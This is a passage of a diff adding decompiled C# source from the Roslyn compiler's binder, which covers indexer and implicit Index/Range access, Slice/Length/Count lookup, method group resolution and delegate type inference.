CreateErrorPropertySymbol(immutableArray2)); + result = BoundIndexerAccess.ErrorAccess(syntax, receiver, indexer, arguments, names, immutableArray, immutableArray2); + } + else + { + MemberResolutionResult validResult = instance.ValidResult; + PropertySymbol member = validResult.Member; + bool expanded = validResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm; + ImmutableArray argsToParamsOpt = validResult.Result.ArgsToParamsOpt; + ReportDiagnosticsIfObsolete(diagnostics, member, SyntaxNodeOrToken.op_Implicit(syntax), receiver != null && receiver.Kind == BoundKind.BaseReference); + bool flag = MemberGroupFinalValidationAccessibilityChecks(receiver, member, syntax, diagnostics, invokedAsExtensionMethod: false); + receiver = ReplaceTypeOrValueReceiver(receiver, member.IsStatic, diagnostics); + CheckAndCoerceArguments(validResult, analyzedArguments, diagnostics, receiver, invokedAsExtensionMethod: false); + if (!flag && receiver != null && receiver.Kind == BoundKind.ThisReference && receiver.WasCompilerGenerated) + { + flag = IsRefOrOutThisParameterCaptured(SyntaxNodeOrToken.op_Implicit(syntax), diagnostics); + } + ImmutableArray arguments2 = analyzedArguments.Arguments.ToImmutable(); + result = new BoundIndexerAccess(syntax, receiver, ReceiverIsSubjectToCloning(receiver, member), member, arguments2, names, immutableArray, expanded, argsToParamsOpt, default(BitVector), member.Type, flag); + } + instance.Free(); + return result; + } + + private bool TryBindIndexOrRangeImplicitIndexer(SyntaxNode syntax, BoundExpression receiver, AnalyzedArguments arguments, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out BoundImplicitIndexerAccess? implicitIndexerAccess) + { + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + implicitIndexerAccess = null; + if (arguments.Arguments.Count != 1) + { + return false; + } + BoundExpression boundExpression = arguments.Arguments[0]; + TypeSymbol type = boundExpression.Type; + ThreeState val = (ThreeState)(TypeSymbol.Equals(type, Compilation.GetWellKnownType((WellKnownType)284), (TypeCompareKind)0) ? 2 : (TypeSymbol.Equals(type, Compilation.GetWellKnownType((WellKnownType)285), (TypeCompareKind)0) ? 1 : 0)); + if (!ThreeStateHelpers.HasValue(val)) + { + return false; + } + bool flag = ThreeStateHelpers.Value(val); + BoundImplicitIndexerReceiverPlaceholder receiverPlaceholder = new BoundImplicitIndexerReceiverPlaceholder(receiver.Syntax, receiver.IsEquivalentToThisReference, receiver.Type) + { + WasCompilerGenerated = true + }; + if (!TryBindIndexOrRangeImplicitIndexerParts(syntax, receiverPlaceholder, flag, out BoundExpression lengthOrCountAccess, out BoundExpression indexerOrSliceAccess, out ImmutableArray argumentPlaceholders, diagnostics)) + { + return false; + } + implicitIndexerAccess = new BoundImplicitIndexerAccess(syntax, receiver, BindToNaturalType(boundExpression, diagnostics), lengthOrCountAccess, receiverPlaceholder, indexerOrSliceAccess, argumentPlaceholders, indexerOrSliceAccess.Type); + if (!flag) + { + checkWellKnown((WellKnownMember)423); + checkWellKnown((WellKnownMember)424); + } + checkWellKnown((WellKnownMember)418); + MessageID.IDS_FeatureIndexOperator.CheckFeatureAvailability(diagnostics, syntax); + if (arguments.Names.Count > 0) + { + diagnostics.Add(flag ? ErrorCode.ERR_ImplicitIndexIndexerWithName : ErrorCode.ERR_ImplicitRangeIndexerWithName, arguments.Names[0].GetValueOrDefault().Item2); + } + return true; + void checkWellKnown(WellKnownMember member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + GetWellKnownTypeMember(member, diagnostics, null, syntax); + } + } + + private bool TryBindIndexOrRangeImplicitIndexerParts(SyntaxNode syntax, BoundImplicitIndexerReceiverPlaceholder receiverPlaceholder, bool argIsIndex, [NotNullWhen(true)] out BoundExpression? lengthOrCountAccess, [NotNullWhen(true)] out BoundExpression? indexerOrSliceAccess, out ImmutableArray argumentPlaceholders, BindingDiagnosticBag diagnostics) + { + if (TryBindLengthOrCount(syntax, receiverPlaceholder, out lengthOrCountAccess, diagnostics) && tryBindUnderlyingIndexerOrSliceAccess(syntax, receiverPlaceholder, argIsIndex, out indexerOrSliceAccess, out argumentPlaceholders, diagnostics)) + { + return true; + } + lengthOrCountAccess = null; + indexerOrSliceAccess = null; + argumentPlaceholders = default(ImmutableArray); + return false; + void makeCall(SyntaxNode val, BoundExpression receiver, MethodSymbol method, out BoundExpression reference2, out ImmutableArray reference) + { + BoundImplicitIndexerValuePlaceholder boundImplicitIndexerValuePlaceholder = new BoundImplicitIndexerValuePlaceholder(val, Compilation.GetSpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + BoundImplicitIndexerValuePlaceholder boundImplicitIndexerValuePlaceholder2 = new BoundImplicitIndexerValuePlaceholder(val, Compilation.GetSpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + reference = ImmutableArray.Create(boundImplicitIndexerValuePlaceholder, boundImplicitIndexerValuePlaceholder2); + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + instance.Arguments.Add((BoundExpression)boundImplicitIndexerValuePlaceholder); + instance.Arguments.Add((BoundExpression)boundImplicitIndexerValuePlaceholder2); + BoundMethodGroup methodGroup = new BoundMethodGroup(val, default(ImmutableArray), method.Name, ImmutableArray.Create(method), method, null, BoundMethodGroupFlags.None, null, receiver, LookupResultKind.Viable) + { + WasCompilerGenerated = true + }; + reference2 = BindMethodGroupInvocation(val, val, method.Name, methodGroup, instance, diagnostics, null, allowUnexpandedForm: false, out var _).MakeCompilerGenerated(); + instance.Free(); + } + bool tryBindUnderlyingIndexerOrSliceAccess(SyntaxNode val, BoundImplicitIndexerReceiverPlaceholder receiver, bool flag, [NotNullWhen(true)] out BoundExpression? reference2, out ImmutableArray reference, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_018a: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_01d9: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_01f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Invalid comparison between Unknown and I4 + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + LookupResult instance = LookupResult.GetInstance(); + if (flag) + { + LookupMembersInType(instance, receiver.Type, "this[]", 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(val, useSiteInfo); + if (instance.IsMultiViable) + { + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (!current.IsStatic && current is PropertySymbol propertySymbol && IsAccessible(propertySymbol, val, bindingDiagnosticBag)) + { + PropertySymbol originalDefinition = propertySymbol.OriginalDefinition; + if ((object)originalDefinition != null && originalDefinition.ParameterCount == 1) + { + ParameterSymbol parameterSymbol = originalDefinition.Parameters[0]; + if ((object)parameterSymbol != null) + { + TypeSymbol type = parameterSymbol.Type; + if ((object)type != null && (int)type.SpecialType == 13 && (int)parameterSymbol.RefKind == 0) + { + BoundImplicitIndexerValuePlaceholder boundImplicitIndexerValuePlaceholder = new BoundImplicitIndexerValuePlaceholder(val, Compilation.GetSpecialType((SpecialType)13)) + { + WasCompilerGenerated = true + }; + reference = ImmutableArray.Create(boundImplicitIndexerValuePlaceholder); + AnalyzedArguments instance2 = AnalyzedArguments.GetInstance(); + instance2.Arguments.Add((BoundExpression)boundImplicitIndexerValuePlaceholder); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + instance3.AddRange(new PropertySymbol[1] { propertySymbol }); + reference2 = BindIndexerOrIndexedPropertyAccess(val, receiver, instance3, instance2, bindingDiagnosticBag).MakeCompilerGenerated(); + instance3.Free(); + instance2.Free(); + instance.Free(); + return true; + } + } + } + } + } + } + } + else if ((int)receiver.Type.SpecialType == 20) + { + MethodSymbol methodSymbol = (MethodSymbol)GetSpecialTypeMember((SpecialMember)14, bindingDiagnosticBag, val); + if ((object)methodSymbol != null) + { + makeCall(val, receiver, methodSymbol, out reference2, out reference); + instance.Free(); + return true; + } + } + else + { + LookupMembersInType(instance, receiver.Type, "Slice", 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(val, useSiteInfo); + if (instance.IsMultiViable) + { + Enumerator enumerator = instance.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current2 = enumerator.Current; + if (!current2.IsStatic && IsAccessible(current2, val, bindingDiagnosticBag) && current2 is MethodSymbol method && MethodHasValidSliceSignature(method)) + { + makeCall(val, receiver, method, out reference2, out reference); + instance.Free(); + return true; + } + } + } + } + reference2 = null; + reference = default(ImmutableArray); + instance.Free(); + return false; + } + } + + internal static bool MethodHasValidSliceSignature(MethodSymbol method) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Invalid comparison between Unknown and I4 + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Invalid comparison between Unknown and I4 + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Invalid comparison between Unknown and I4 + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Invalid comparison between Unknown and I4 + MethodSymbol originalDefinition = method.OriginalDefinition; + if (!originalDefinition.ReturnsVoid && originalDefinition.ParameterCount == 2) + { + ParameterSymbol parameterSymbol = originalDefinition.Parameters[0]; + if ((object)parameterSymbol != null) + { + TypeSymbol type = parameterSymbol.Type; + if ((object)type != null && (int)type.SpecialType == 13 && (int)parameterSymbol.RefKind == 0) + { + parameterSymbol = originalDefinition.Parameters[1]; + if ((object)parameterSymbol != null) + { + type = parameterSymbol.Type; + if ((object)type != null && (int)type.SpecialType == 13) + { + return (int)parameterSymbol.RefKind == 0; + } + } + return false; + } + } + } + return false; + } + + private bool TryBindLengthOrCount(SyntaxNode syntax, BoundValuePlaceholderBase receiverPlaceholder, out BoundExpression lengthOrCountAccess, BindingDiagnosticBag diagnostics) + { + LookupResult instance = LookupResult.GetInstance(); + if (TryLookupLengthOrCount(syntax, receiverPlaceholder.Type, instance, out PropertySymbol lengthOrCountProperty, diagnostics)) + { + diagnostics.ReportUseSite(lengthOrCountProperty, syntax); + lengthOrCountAccess = BindPropertyAccess(syntax, receiverPlaceholder, lengthOrCountProperty, diagnostics, instance.Kind, hasErrors: false).MakeCompilerGenerated(); + lengthOrCountAccess = CheckValue(lengthOrCountAccess, BindValueKind.RValue, diagnostics); + instance.Free(); + return true; + } + lengthOrCountAccess = BadExpression(syntax); + instance.Free(); + return false; + } + + private bool TryLookupLengthOrCount(SyntaxNode syntax, TypeSymbol receiverType, LookupResult lookupResult, [NotNullWhen(true)] out PropertySymbol? lengthOrCountProperty, BindingDiagnosticBag diagnostics) + { + if (tryLookupLengthOrCount(syntax, "Length", out lengthOrCountProperty, diagnostics) || tryLookupLengthOrCount(syntax, "Count", out lengthOrCountProperty, diagnostics)) + { + return true; + } + return false; + bool tryLookupLengthOrCount(SyntaxNode val, string propertyName, [NotNullWhen(true)] out PropertySymbol? valid, BindingDiagnosticBag bindingDiagnosticBag) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007b: Invalid comparison between Unknown and I4 + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(bindingDiagnosticBag); + LookupMembersInType(lookupResult, receiverType, propertyName, 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)bindingDiagnosticBag).Add(val, useSiteInfo); + if (lookupResult.IsSingleViable && lookupResult.Symbols[0] is PropertySymbol propertySymbol) + { + MethodSymbol methodSymbol = propertySymbol.GetOwnOrInheritedGetMethod()?.OriginalDefinition; + if ((object)methodSymbol != null && (int)methodSymbol.ReturnType.SpecialType == 13 && (int)methodSymbol.RefKind == 0 && !methodSymbol.IsStatic && IsAccessible(methodSymbol, val, bindingDiagnosticBag)) + { + lookupResult.Clear(); + valid = propertySymbol; + return true; + } + } + lookupResult.Clear(); + valid = null; + return false; + } + } + + private ErrorPropertySymbol CreateErrorPropertySymbol(ImmutableArray propertyGroup) + { + TypeSymbol type = GetCommonTypeOrReturnType(propertyGroup) ?? CreateErrorType(); + PropertySymbol propertySymbol = propertyGroup[0]; + return new ErrorPropertySymbol(propertySymbol.ContainingType, type, propertySymbol.Name, propertySymbol.IsIndexer, propertySymbol.IsIndexedProperty); + } + + internal MethodGroupResolution ResolveMethodGroup(BoundMethodGroup node, AnalyzedArguments analyzedArguments, bool isMethodGroupConversion, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic = false, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, in CallingConventionInfo callingConventionInfo = default(CallingConventionInfo)) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return ResolveMethodGroup(node, node.Syntax, node.Name, analyzedArguments, isMethodGroupConversion, ref useSiteInfo, inferWithDynamic, allowUnexpandedForm: true, returnRefKind, returnType, isFunctionPointerResolution, in callingConventionInfo); + } + + internal MethodGroupResolution ResolveMethodGroup(BoundMethodGroup node, SyntaxNode expression, string methodName, AnalyzedArguments analyzedArguments, bool isMethodGroupConversion, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic = false, bool allowUnexpandedForm = true, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, in CallingConventionInfo callingConventionInfo = default(CallingConventionInfo)) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + MethodGroupResolution result = ResolveMethodGroupInternal(node, expression, methodName, analyzedArguments, isMethodGroupConversion, ref useSiteInfo, inferWithDynamic, allowUnexpandedForm, returnRefKind, returnType, isFunctionPointerResolution, in callingConventionInfo); + if (result.IsEmpty && !result.HasAnyErrors) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, useSiteInfo.AccumulatesDependencies); + ((BindingDiagnosticBag)(object)instance).AddRange(result.Diagnostics, false); + BindMemberAccessReportError(node, instance); + return new MethodGroupResolution(result.MethodGroup, result.OtherSymbol, result.OverloadResolutionResult, result.AnalyzedArguments, result.ResultKind, ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree()); + } + return result; + } + + internal MethodGroupResolution ResolveMethodGroupForFunctionPointer(BoundMethodGroup methodGroup, AnalyzedArguments analyzedArguments, TypeSymbol returnType, RefKind returnRefKind, in CallingConventionInfo callingConventionInfo, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return ResolveDefaultMethodGroup(methodGroup, analyzedArguments, isMethodGroupConversion: true, ref useSiteInfo, inferWithDynamic: false, allowUnexpandedForm: true, returnRefKind, returnType, isFunctionPointerResolution: true, in callingConventionInfo); + } + + private MethodGroupResolution ResolveMethodGroupInternal(BoundMethodGroup methodGroup, SyntaxNode expression, string methodName, AnalyzedArguments analyzedArguments, bool isMethodGroupConversion, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic = false, bool allowUnexpandedForm = true, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, in CallingConventionInfo callingConvention = default(CallingConventionInfo)) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + MethodGroupResolution result = ResolveDefaultMethodGroup(methodGroup, analyzedArguments, isMethodGroupConversion, ref useSiteInfo, inferWithDynamic, allowUnexpandedForm, returnRefKind, returnType, isFunctionPointerResolution, in callingConvention); + if (!methodGroup.SearchExtensionMethods || result.HasAnyApplicableMethod || methodGroup.MethodGroupReceiverIsDynamic()) + { + return result; + } + MethodGroupResolution result2 = BindExtensionMethod(expression, methodName, analyzedArguments, methodGroup.ReceiverOpt, methodGroup.TypeArgumentsOpt, isMethodGroupConversion, returnRefKind, returnType, useSiteInfo.AccumulatesDependencies); + bool flag = false; + if (result2.HasAnyApplicableMethod) + { + flag = true; + } + else if (result2.IsEmpty) + { + flag = false; + } + else if (result.IsEmpty) + { + flag = true; + } + else + { + LookupResultKind resultKind = result.ResultKind; + LookupResultKind resultKind2 = result2.ResultKind; + if (resultKind != resultKind2 && resultKind == resultKind2.WorseResultKind(resultKind)) + { + flag = true; + } + } + if (flag) + { + result.Free(); + return result2; + } + result2.Free(); + return result; + } + + private MethodGroupResolution ResolveDefaultMethodGroup(BoundMethodGroup node, AnalyzedArguments analyzedArguments, bool isMethodGroupConversion, ref CompoundUseSiteInfo useSiteInfo, bool inferWithDynamic = false, bool allowUnexpandedForm = true, RefKind returnRefKind = (RefKind)0, TypeSymbol returnType = null, bool isFunctionPointerResolution = false, in CallingConventionInfo callingConvention = default(CallingConventionInfo)) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray methods = node.Methods; + if (methods.Length == 0 && node.LookupSymbolOpt is MethodSymbol item) + { + methods = ImmutableArray.Create(item); + } + ImmutableBindingDiagnostic diagnostics = ImmutableBindingDiagnostic.Empty; + if (node.LookupError != null) + { + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + Error(instance, node.LookupError, node.NameSyntax); + diagnostics = ((BindingDiagnosticBag)(object)instance).ToReadOnlyAndFree(); + } + if (methods.Length == 0) + { + return new MethodGroupResolution(node.LookupSymbolOpt, node.ResultKind, diagnostics); + } + MethodGroup instance2 = MethodGroup.GetInstance(); + instance2.PopulateWithNonExtensionMethods(node.ReceiverOpt, methods, node.TypeArgumentsOpt, node.ResultKind, node.LookupError); + if (node.LookupError != null) + { + return new MethodGroupResolution(instance2, diagnostics); + } + if (analyzedArguments == null) + { + return new MethodGroupResolution(instance2, diagnostics); + } + OverloadResolutionResult instance3 = OverloadResolutionResult.GetInstance(); + bool allowRefOmittedArguments = instance2.Receiver.IsExpressionOfComImportType(); + OverloadResolution.MethodInvocationOverloadResolution(instance2.Methods, instance2.TypeArguments, instance2.Receiver, analyzedArguments, instance3, ref useSiteInfo, isMethodGroupConversion, allowRefOmittedArguments, inferWithDynamic, allowUnexpandedForm, returnRefKind, returnType, isFunctionPointerResolution, isExtensionMethodResolution: false, in callingConvention); + return new MethodGroupResolution(instance2, null, instance3, AnalyzedArguments.GetInstance(analyzedArguments), instance2.ResultKind, diagnostics); + } + + internal NamedTypeSymbol? GetMethodGroupDelegateType(BoundMethodGroup node) + { + MethodSymbol uniqueSignatureFromMethodGroup = GetUniqueSignatureFromMethodGroup(node); + if ((object)uniqueSignatureFromMethodGroup == null) + { + return null; + } + return GetMethodGroupOrLambdaDelegateType(node.Syntax, uniqueSignatureFromMethodGroup); + } + + private MethodSymbol? GetUniqueSignatureFromMethodGroup(BoundMethodGroup node) + { + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol method = null; + ImmutableArray.Enumerator enumerator = node.Methods.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + BoundExpression receiverOpt = node.ReceiverOpt; + if (!(receiverOpt is BoundTypeExpression) && receiverOpt != null) + { + if ((!(receiverOpt is BoundThisReference) || !receiverOpt.WasCompilerGenerated) && current.IsStatic) + { + continue; + } + } + else if (!current.IsStatic) + { + continue; + } + if (!isCandidateUnique(ref method, current)) + { + return null; + } + } + if (node.SearchExtensionMethods) + { + BoundExpression receiverOpt2 = node.ReceiverOpt; + ExtensionMethodScopeEnumerator enumerator2 = new ExtensionMethodScopes(this).GetEnumerator(); + while (enumerator2.MoveNext()) + { + ExtensionMethodScope current2 = enumerator2.Current; + MethodGroup instance = MethodGroup.GetInstance(); + PopulateExtensionMethodsFromSingleBinder(current2, instance, node.Syntax, receiverOpt2, node.Name, node.TypeArgumentsOpt, BindingDiagnosticBag.Discarded); + Enumerator enumerator3 = instance.Methods.GetEnumerator(); + while (enumerator3.MoveNext()) + { + MethodSymbol methodSymbol = enumerator3.Current.ReduceExtensionMethod(receiverOpt2.Type, Compilation); + if ((object)methodSymbol != null && !isCandidateUnique(ref method, methodSymbol)) + { + instance.Free(); + return null; + } + } + instance.Free(); + } + } + if ((object)method == null) + { + return null; + } + int num = ((!node.TypeArgumentsOpt.IsDefaultOrEmpty) ? node.TypeArgumentsOpt.Length : 0); + if (method.Arity != num) + { + return null; + } + if (num > 0) + { + method = method.ConstructedFrom.Construct(node.TypeArgumentsOpt); + } + return method; + static bool isCandidateUnique(ref MethodSymbol? reference, MethodSymbol candidate) + { + if ((object)reference == null) + { + reference = candidate; + return true; + } + if (MemberSignatureComparer.MethodGroupSignatureComparer.Equals(reference, candidate)) + { + return true; + } + reference = null; + return false; + } + } + + internal NamedTypeSymbol? GetMethodGroupOrLambdaDelegateType(SyntaxNode syntax, MethodSymbol methodSymbol, ImmutableArray? parameterScopesOverride = null, ImmutableArray? parameterHasUnscopedRefAttributesOverride = null, RefKind? returnRefKindOverride = null, TypeWithAnnotations? returnTypeOverride = null) + { + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_01e5: Unknown result type (might be due to invalid IL or missing references) + //IL_021c: Unknown result type (might be due to invalid IL or missing references) + //IL_03e9: Unknown result type (might be due to invalid IL or missing references) + //IL_0366: Unknown result type (might be due to invalid IL or missing references) + //IL_037b: Unknown result type (might be due to invalid IL or missing references) + //IL_02e0: Unknown result type (might be due to invalid IL or missing references) + //IL_02d2: Unknown result type (might be due to invalid IL or missing references) + //IL_02e5: Unknown result type (might be due to invalid IL or missing references) + //IL_02e7: Unknown result type (might be due to invalid IL or missing references) + //IL_02f1: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray parameters = methodSymbol.Parameters; + ImmutableArray parameterRefKinds = methodSymbol.ParameterRefKinds; + ImmutableArray parameterTypesWithAnnotations = methodSymbol.ParameterTypesWithAnnotations; + TypeWithAnnotations typeWithAnnotations = returnTypeOverride ?? methodSymbol.ReturnTypeWithAnnotations; + RefKind val = (RefKind)(((_003F?)returnRefKindOverride) ?? methodSymbol.RefKind); + ImmutableArray immutableArray = parameterScopesOverride ?? (parameters.Any((ParameterSymbol p) => (int)p.EffectiveScope > 0) ? ImmutableArrayExtensions.SelectAsArray(parameters, (Func)((ParameterSymbol p) => p.EffectiveScope)) : default(ImmutableArray)); + ImmutableArray immutableArray2 = parameterHasUnscopedRefAttributesOverride ?? (parameters.Any((ParameterSymbol p) => p.HasUnscopedRefAttribute) ? ImmutableArrayExtensions.SelectAsArray(parameters, (Func)((ParameterSymbol p) => p.HasUnscopedRefAttribute)) : default(ImmutableArray)); + ImmutableArray immutableArray3 = (parameters.Any((ParameterSymbol p) => p.HasExplicitDefaultValue) ? ImmutableArrayExtensions.SelectAsArray(parameters, (Func)((ParameterSymbol p) => p.ExplicitDefaultConstantValue)) : default(ImmutableArray)); + int length = parameters.Length; + int num; + if (length >= 1) + { + ParameterSymbol parameterSymbol = parameters[length - 1]; + if ((object)parameterSymbol != null && parameterSymbol.IsParams) + { + num = (parameterSymbol.Type.IsSZArray() ? 1 : 0); + goto IL_01c0; + } + } + num = 0; + goto IL_01c0; + IL_01c0: + bool flag = (byte)num != 0; + bool flag2 = typeWithAnnotations.Type.IsVoidType(); + ImmutableArray immutableArray4 = (flag2 ? parameterTypesWithAnnotations : parameterTypesWithAnnotations.Add(typeWithAnnotations)); + if (flag2 && (int)val != 0) + { + return null; + } + if (!immutableArray4.All((TypeWithAnnotations t) => t.HasType)) + { + return null; + } + if (!flag && (int)val == 0 && immutableArray3.IsDefault && (parameterRefKinds.IsDefault || parameterRefKinds.All((RefKind refKind) => (int)refKind == 0)) && (immutableArray.IsDefault || immutableArray.All((ScopedKind scope) => (int)scope == 0)) && (immutableArray2.IsDefault || immutableArray2.All((bool p) => !p))) + { + WellKnownType val2 = (flag2 ? WellKnownTypes.GetWellKnownActionDelegate(parameterTypesWithAnnotations.Length) : WellKnownTypes.GetWellKnownFunctionDelegate(parameterTypesWithAnnotations.Length)); + if ((int)val2 != 0) + { + NamedTypeSymbol wellKnownType = Compilation.GetWellKnownType(val2); + if (immutableArray4.Length == 0) + { + return wellKnownType; + } + if (checkConstraints(Compilation, Conversions, wellKnownType, immutableArray4)) + { + return wellKnownType.Construct(immutableArray4); + } + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterTypesWithAnnotations.Length + 1); + Location location = syntax.Location; + for (int num2 = 0; num2 < parameterTypesWithAnnotations.Length; num2++) + { + instance.Add(new AnonymousTypeField("", location, parameterTypesWithAnnotations[num2], (RefKind)((!parameterRefKinds.IsDefault) ? ((int)parameterRefKinds[num2]) : 0), (ScopedKind)((!immutableArray.IsDefault) ? ((int)immutableArray[num2]) : 0), immutableArray3.IsDefault ? null : immutableArray3[num2], flag && num2 == parameterTypesWithAnnotations.Length - 1, !immutableArray2.IsDefault && immutableArray2[num2])); + } + instance.Add(new AnonymousTypeField("", location, typeWithAnnotations, val, (ScopedKind)0)); + AnonymousTypeDescriptor typeDescr = new AnonymousTypeDescriptor(instance.ToImmutableAndFree(), location); + return Compilation.AnonymousTypeManager.ConstructAnonymousDelegateSymbol(typeDescr); + static bool checkConstraints(CSharpCompilation compilation, ConversionsBase conversions, NamedTypeSymbol delegateType, ImmutableArray typeArguments) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ImmutableArray typeParameters = delegateType.TypeParameters; + TypeMap substitution = new TypeMap(typeParameters, typeArguments); + ArrayBuilder useSiteDiagnosticsBuilder = null; + bool result = delegateType.CheckConstraints(new ConstraintsHelper.CheckConstraintsArgs(compilation, conversions, includeNullability: false, NoLocation.Singleton, null, CompoundUseSiteInfo.Discarded), substitution, typeParameters, typeArguments, instance2, null, ref useSiteDiagnosticsBuilder); + instance2.Free(); + return result; + } + } + + internal static bool ReportDelegateInvokeUseSiteDiagnostic(BindingDiagnosticBag diagnostics, TypeSymbol possibleDelegateType, Location location = null, SyntaxNode node = null) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (!possibleDelegateType.IsDelegateType()) + { + return false; + } + MethodSymbol methodSymbol = possibleDelegateType.DelegateInvokeMethod(); + if ((object)methodSymbol == null) + { + diagnostics.Add((DiagnosticInfo?)(object)new CSDiagnosticInfo(ErrorCode.ERR_InvalidDelegateType, possibleDelegateType), getErrorLocation()); + return true; + } + UseSiteInfo useSiteInfo = methodSymbol.GetUseSiteInfo(); + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(useSiteInfo); + DiagnosticInfo diagnosticInfo = useSiteInfo.DiagnosticInfo; + if (diagnosticInfo == null) + { + return false; + } + if (diagnosticInfo.Code == 7024) + { + ((BindingDiagnosticBag)diagnostics).Add((Diagnostic)(object)new CSDiagnostic((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_InvalidDelegateType, possibleDelegateType), getErrorLocation())); + return true; + } + return Symbol.ReportUseSiteDiagnostic(diagnosticInfo, diagnostics, getErrorLocation()); + Location getErrorLocation() + { + return location ?? GetAnonymousFunctionLocation(node); + } + } + + private BoundConditionalAccess BindConditionalAccessExpression(ConditionalAccessExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_01b6: Unknown result type (might be due to invalid IL or missing references) + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureNullPropagatingOperator.CheckFeatureAvailability(diagnostics, node.OperatorToken); + BoundExpression boundExpression = BindConditionalAccessReceiver(node, diagnostics); + BoundExpression boundExpression2 = new BinderWithConditionalReceiver(this, boundExpression).BindValue(node.WhenNotNull, diagnostics, BindValueKind.RValue); + if (boundExpression.HasAnyErrors || boundExpression2.HasAnyErrors) + { + return new BoundConditionalAccess((SyntaxNode)(object)node, boundExpression, boundExpression2, CreateErrorType(), hasErrors: true); + } + _ = boundExpression.Type; 